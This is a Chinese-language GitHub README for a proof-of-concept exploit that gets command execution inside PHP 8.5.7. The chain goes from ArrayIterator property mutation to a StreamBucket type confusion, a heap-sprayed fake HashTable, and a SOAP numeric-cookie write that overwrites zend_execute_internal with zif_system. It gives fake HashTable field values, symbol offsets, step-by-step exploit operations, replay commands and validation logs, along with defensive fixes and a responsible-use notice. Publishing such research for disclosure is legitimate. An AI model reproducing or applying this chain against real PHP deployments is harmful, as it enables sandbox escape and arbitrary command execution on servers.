ajtazer/php857-cookie-cooked
GitHub: ajtazer/php857-cookie-cooked
针对 PHP 8.5.7 的远程代码执行概念验证,通过 StreamBucket 类型混淆和 SOAP 数字 Cookie 处理链实现进程内命令执行。
Stars: 0 | Forks: 0
# PHP 8.5.7 StreamBucket 到 SOAP Numeric Cookie RCE RPoC
状态:已在本地验证 PHP 进程内的命令执行。
受影响的分析版本:PHP `8.5.7`。
最新分支背景:PHP.net 于 2026 年 6 月 4 日将 PHP `8.5.7` 列为当前的 PHP 8.5 发行版。
影响:受控的内部属性类型混淆可被链接为伪造 `HashTable` 写入,随后通过 `zend_execute_internal` 实现原生代码执行。
已验证的证明信号:
```
overwrite_returned
marker_check=present
marker_content=PHP857_RCE
```
## 文件
- `poc/rpoc.php` - 单文件 PHP RPoC。
- `scripts/validate.sh` - 重放包装器,使用提供的 PHP 二进制文件运行 RPoC 并验证标记。
- `evidence/local-validation.txt` - 最新的本地重放记录。
- `evidence/gdb-proof.txt` - 针对规范 hook 覆盖和 `zif_system` 命中的已净化调试器证明。
- `SHA256SUMS.txt` - 工件校验和。
## 测试目标
重放已针对启用了 `soap`、`SPL`、`standard` 和流过滤器支持的本地 PHP `8.5.7` CLI 构建进行了验证。
二进制身份:
```
php-8.5.7-release-soap-curl/sapi/cli/php
sha256: 1cfdac46f8b1db810dca17f900754fba45915c9c89783cebfa3ceae2224b5058
```
该二进制文件中的相关符号偏移量:
```
zend_execute_internal = php_base + 0x1ce3030
zif_system = php_base + 0x69f130
```
RPoC 在运行时从 `/proc/self/maps` 推导出 PIE 基址,并根据这些偏移量计算出两个绝对地址。
## 要求
- 在 PHP 进程中可访问 Linux 或 WSL 样式的 `/proc/self/maps` 和 `/proc/self/mem`。
- 与上述符号偏移量匹配的 PHP `8.5.7` CLI 二进制文件。
- 启用的扩展/类:
- `SPL`
- `SoapClient`
- `StreamBucket`
- 用户流过滤器
- 用于进程内 SOAP 响应服务器的本地环回网络。
证明有意使用本地环回 SOAP 服务器,以便在不依赖外部服务的情况下触发 cookie 解析和 `zend_symtable_update()` 路径。
## 快速重放
使用显式 PHP 二进制文件运行:
```
bash scripts/validate.sh /path/to/php-8.5.7/sapi/cli/php
```
等效的环境变量形式:
```
PHP_BIN=/path/to/php-8.5.7/sapi/cli/php bash scripts/validate.sh
```
预期的成功输出:
```
php_base=0x...
zend_execute_internal=0x...
zif_system=0x...
numeric_cookie_name=...
fake_arData=0x...
hash_slot=0x... hash_index=0x... hash_mask=0x...
marker_path=/tmp/php857_rce_.txt
victim_bucket_ptr=0x...
fake_marker=RH...
fake_hash_address=0x...
overwrite_returned
marker_check=present
marker_content=PHP857_RCE
```
标记文件包含:
```
PHP857_RCE
```
## 链条概述
该链条同时使用了三种 PHP 引擎和扩展行为:
1. `ArrayIterator` 可以通过某种方式改变对象属性,从而绕过内部对象的常规类型属性不变性。
2. `StreamBucket` 验证首先将 `bucket` 属性作为资源进行检查,但随后会将 `data` 属性作为字符串予以信任。
3. SOAP 响应 cookie 存储通过 `SoapClient::_cookies` 使用 `zend_symtable_update()` 进行写入。
生成的路径:
```
ArrayIterator property mutation
-> forged StreamBucket::$data
-> php_stream_bucket_attach() string macro type confusion
-> heap pointer disclosure and controlled overread
-> attacker-shaped fake HashTable in heap string storage
-> SoapClient::_cookies replaced with fake HashTable pointer
-> numeric Set-Cookie name processed by zend_symtable_update()
-> zend_hash_index_update() writes canonical zif_system pointer
-> zend_execute_internal overwritten
-> dynamic internal call enters zif_system(command)
```
## 根本原因细节
### 内部属性修改
`ArrayIterator` 接受一个对象并针对其属性存储公开偏移量赋值。对于受影响的内部对象,该赋值可以将值放入通常具有私有可见性、类型约束或只读约束的属性中。
RPoC 使用:
```
$it = new ArrayIterator($object);
$it[$property] = $value;
```
两种对象类型至关重要:
- `StreamBucket`
- `SoapClient`
对于 `StreamBucket`,该链条将 `data` 更改为非字符串指针值,同时将 `bucket` 保留为有效的 bucket 资源。对于 `SoapClient`,该链条将私有的 `_cookies` 从真正的数组 zval 更改为一个整数值,该整数的位被作为 `HashTable *` 处理。
### StreamBucket 类型混淆
`php_stream_bucket_attach()` 首先仅验证 bucket 资源:
```
zend_read_property(..., "bucket", ...)
zend_fetch_resource_ex(..., PHP_STREAM_BUCKET_RES_NAME, ...)
```
稍后它读取 `data`,对其进行解引用,并使用字符串宏:
```
zend_read_property(..., "data", ...)
Z_STRLEN_P(pzdata)
Z_STRVAL_P(pzdata)
```
缺失的类型检查使得 `data` zval 可被用作伪造的 `zend_string *` 指针。由于仍然存在真正的 bucket 资源,过滤器路径会到达受信任的字符串宏使用处。
### 指针泄露
RPoC 首先创建一个真正的流 bucket,然后创建一个伪造的 `StreamBucket` 对象:
```
fake->bucket = real bucket resource
fake->data = chosen integer pointer
```
当选择的整数指向另一个实时 bucket 对象时,`Z_STRLEN_P()` 和 `Z_STRVAL_P()` 会从攻击者选择的结构偏移量中读取数据。这提供了稳定的堆越读。第一阶段泄露 `php_stream_bucket *`;第二阶段使用该指针越读包含大量喷射的伪造 `HashTable` 字符串的 bucket 数据区域。
### 伪造 HashTable 放置
RPoC 喷射包含伪造 `HashTable` 头部的字符串:
```
gc.refcount = 1
gc.type_info = IS_ARRAY
flags = 0
nTableMask = selected mask
arData = zend_execute_internal - 16
nNumUsed = 0
nNumOfElements = 0
nTableSize = 1
nInternalPointer = 0
nNextFreeElement = 0
pDestructor = 0
```
伪造的表被嵌入到普通的堆字符串存储中。越读操作会定位喷射的标记并推导出伪造的 `HashTable` 地址。
重要的导向值是:
```
arData = zend_execute_internal - 16
```
`Bucket.h` 位于混合数组 bucket 内部的偏移量 `+16` 处。当在索引零处添加新的整数键 bucket 时,`p->h` 会精确指向 `zend_execute_internal`。
### 哈希槽选择
`zend_hash_index_update()` 计算:
```
nIndex = h | ht->nTableMask
```
RPoC 需要查找/添加路径在 bucket 写入之前避免崩溃。它扫描 PHP 二进制文件的可写映射,寻找一个四字节的 `HT_INVALID_IDX` 值,该值可用作所选 `h` 的哈希槽。
所选的伪造 `nTableMask` 使得:
```
HT_HASH_EX(arData, h | nTableMask) == HT_INVALID_IDX
```
这让添加路径继续执行导向的 `Bucket` 写入。
### SOAP Numeric Cookie 枢轴
之前直接使用字符串键写入的尝试可以覆盖 `zend_execute_internal`,但仅限于字符串哈希。Zend 字符串哈希强制设置最高位:
```
hash | 0x8000000000000000
```
对于普通的 PHP 文本地址,这会产生一个非规范(non-canonical)的代码指针,并阻止可靠的函数指针使用。
SOAP 响应 cookie 处理提供了所需的枢轴。它使用以下方式存储响应 cookie:
```
zend_symtable_update(Z_ARRVAL_P(cookies), name.s, &zcookie)
```
`zend_symtable_update()` 检查键字符串是否为数字。由 `zif_system` 的十进制地址组成的 cookie 名称是数字,因此更新路径变为:
```
zend_hash_index_update(ht, zif_system_address, &zcookie)
```
整数键添加路径写入:
```
p->h = h
p->key = NULL
ZVAL_COPY_VALUE(&p->val, pData)
```
因为 `h` 是数字键本身,所以 `p->h` 成为规范的 `zif_system` 地址。在将 `arData` 设置为 `zend_execute_internal - 16` 的情况下,写入:
```
zend_execute_internal = zif_system
```
### Hook 触发
该证明使用动态内部调用:
```
$trigger = 'md5';
$trigger($command);
```
VM 到达查询 `zend_execute_internal` 的内部调用处理程序路径。覆盖之后,调用目标变为:
```
zif_system(execute_data, return_value)
```
原始调用的第一个参数是命令字符串:
```
printf PHP857_RCE > /tmp/php857_rce_.txt
```
`zif_system` 解析该参数并执行它,从而创建标记文件。
## RPoC 操作
`poc/rpoc.php` 执行以下步骤:
1. 读取 `/proc/self/maps` 并定位 PHP 二进制 PIE 基址。
2. 计算 `zend_execute_internal` 和 `zif_system`。
3. 选择一个等于 `zif_system` 十进制地址的数字 cookie 名称。
4. 通过 `/proc/self/mem` 扫描可写的 PHP 二进制映射,寻找兼容的无效哈希槽。
5. 注册两个用户流过滤器:
- 一个过滤器喷射伪造的 `HashTable` 字符串并泄露受害者 bucket 指针;
- 一个过滤器使用泄露的指针作为伪造字符串源,并越读喷射的数据。
6. 从喷射的标记中推导出伪造的 `HashTable` 地址。
7. 启动环回 SOAP 响应服务器。
8. 用伪造的 `HashTable` 地址替换 `SoapClient::_cookies`。
9. 触发 `SoapClient->__soapCall()` 并处理数字 `Set-Cookie` 响应。
10. 使用命令字符串调用动态内部函数。
11. 在标记命令运行后退出。
## 本地验证
最新的本地验证:
```
php_base=0x000056063aa00000
zend_execute_internal=0x000056063c6e3030
zif_system=0x000056063b09f130
numeric_cookie_name=94584760299824
fake_arData=0x000056063c6e3020
hash_slot=0x000056063c65f4e0 hash_index=0xfffdf130 hash_mask=0xc4f40000
marker_path=/tmp/php857_rce_689.txt
victim_bucket_ptr=0x00007fc17ba72d20
fake_marker=RH5f1b8eca000015 index=15 offset=148232
fake_hash_address=0x00007fc17ba97018
overwrite_returned
marker_check=present
marker_content=PHP857_RCE
```
重放记录存储在:
```
evidence/local-validation.txt
```
调试器证明:
```
watch_zend_execute_internal value=0x555555a9f130
#0 _zend_hash_index_add_or_update_i(...) at Zend/zend_hash.c:1187
#2 zend_symtable_update(...) at Zend/zend_hash.h:492
hit_zif_system execute_data=0x7ffff40159d0 return_value=0x7fffffffa8c0
#0 zif_system(...) at ext/standard/exec.c:250
#1 ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER() at Zend/zend_vm_execute.h:2029
```
调试器记录存储在:
```
evidence/gdb-proof.txt
```
## 为什么需要 Numeric Cookie
伪造的 `HashTable` 写入可以将几个有用的字段放置在选定的偏移量处:
```
Bucket.val at arData + 0
Bucket.h at arData + 16
Bucket.key at arData + 24
```
对于字符串键,`Bucket.h` 来自 `ZSTR_H(key)`。Zend 故意设置了字符串哈希的最高位,因此即使精心选择的字符串键原像也会变成:
```
0x8000... | target_address
```
该值在 x86-64 上不是规范的 PHP 文本指针。VM 不会安全地将其作为函数指针调用。
对于数字键,`Bucket.h` 是整数索引。SOAP 的 `zend_symtable_update()` 使数字 cookie 名称到达整数索引路径。这是实现 RCE 的关键步骤:它写入了 `zif_system` 的精确规范地址。
## 可靠性说明
在找到伪造表之后,重放在测试的构建上是确定性的。ASLR 通过读取当前进程映射来处理。堆放置通过喷射 1024 个伪造表字符串并通过 StreamBucket 越读定位所选字符串来处理。
该证明是特定于构建的,因为它使用了以下各项的符号偏移量:
```
zend_execute_internal
zif_system
```
对于不同的 PHP 构建,从目标二进制文件重新计算偏移量:
```
readelf -sW /path/to/php | grep -E 'zend_execute_internal|zif_system'
```
RPoC 需要相同的结构布局和相同的易受攻击扩展行为。发行版补丁、调试构建、Sanitizer 构建、不同的编译器选项或更改的扩展布局可能需要更新偏移量或对堆形状进行微调。
## 防御性修复
最强大的修复是阻止最初的不变性破坏:
- `ArrayIterator` 对象属性赋值不应绕过内部对象的常规类型属性、只读、可见性和属性处理程序检查。
额外加固:
- `php_stream_bucket_attach()` 应在执行 `Z_STRLEN_P()` 和 `Z_STRVAL_P()` 之前立即验证 `StreamBucket::$data` 是否为字符串。
- SOAP cookie 处理应在执行 `SEPARATE_ARRAY()` 和每次 `Z_ARRVAL_P()` 使用之前验证 `SoapClient::_cookies` 是否为数组。
- 当 `OBJ_PROP_NUM()` 后面紧跟仅用于发行版构建的 `ZEND_ASSERT()` 假设时,应审计通过它的内部属性访问。
- 在将内部类中的类型化公共属性暴露于用户空间修改面后,不应将其视为永久受信任。
## 分类清单
确认暴露:
```
php -n -m | grep -E 'soap|SPL|standard'
```
确认符号偏移量:
```
readelf -sW /path/to/php | grep -E 'zend_execute_internal|zif_system'
```
确认运行时要求:
```
test -r /proc/self/maps
test -r /proc/self/mem
```
运行重放:
```
bash scripts/validate.sh /path/to/php
```
成功的标记:
```
marker_check=present
marker_content=PHP857_RCE
```
## 局限性
- 包含的 RPoC 针对测试过的 PHP `8.5.7` 二进制布局。
- 命令执行触发器使用 `zif_system`;禁用 `system()` 或以不同方式编译标准扩展的环境需要不同的内部函数目标。
- 简洁的重放会读取 `/proc/self/maps` 和 `/proc/self/mem`。仅限远程的漏洞利用需要使用可用的泄露原语和特定于目标的内存发现方法来替换它们。
- 本地环回 SOAP 响应服务器是数字 cookie 更新路径的传递机制。实际部署的可利用性取决于在目标场景中是否可以驱动攻击者控制的 SOAP 响应或同等的 cookie 处理。
- 该证明演示了在可用属性损坏和内存泄露原语之后的进程级命令执行。它不是无需目标适应即可适用于每个 PHP 部署的通用即插即用型漏洞利用。
## 参考
- PHP 下载:https://www.php.net/downloads.php
- PHP 2026 年新闻存档:https://www.php.net/archive/2026.php
- PHP 支持的版本:https://www.php.net/supported-versions.php
- PHP 源代码存储库:https://github.com/php/php-src
## 负责任的使用
仅针对本地研究目标、自有系统或明确授权的实验室环境运行。
此链条要求攻击者已在目标进程中执行 PHP 代码;它是纵深防御 / `disable_functions` 样式的沙箱逃逸原语,而不是远程、未经身份验证的漏洞利用。请勿针对您不拥有或未获得明确授权进行测试的系统运行它。
## 致谢
- **原始研究、漏洞发现和概念验证:** bikini / `@ashdfrkl` — [exploitarium](https://github.com/bikini/exploitarium)。
- **本转载:** Anuj Rawat ([@ajtazer](https://github.com/ajtazer)),已获得原作者的许可。
如果您引用或在此工作基础上继续研究,请注明原作者。
标签:ffuf, Go语言工具, PHP安全, 概念验证, 编程工具, 远程代码执行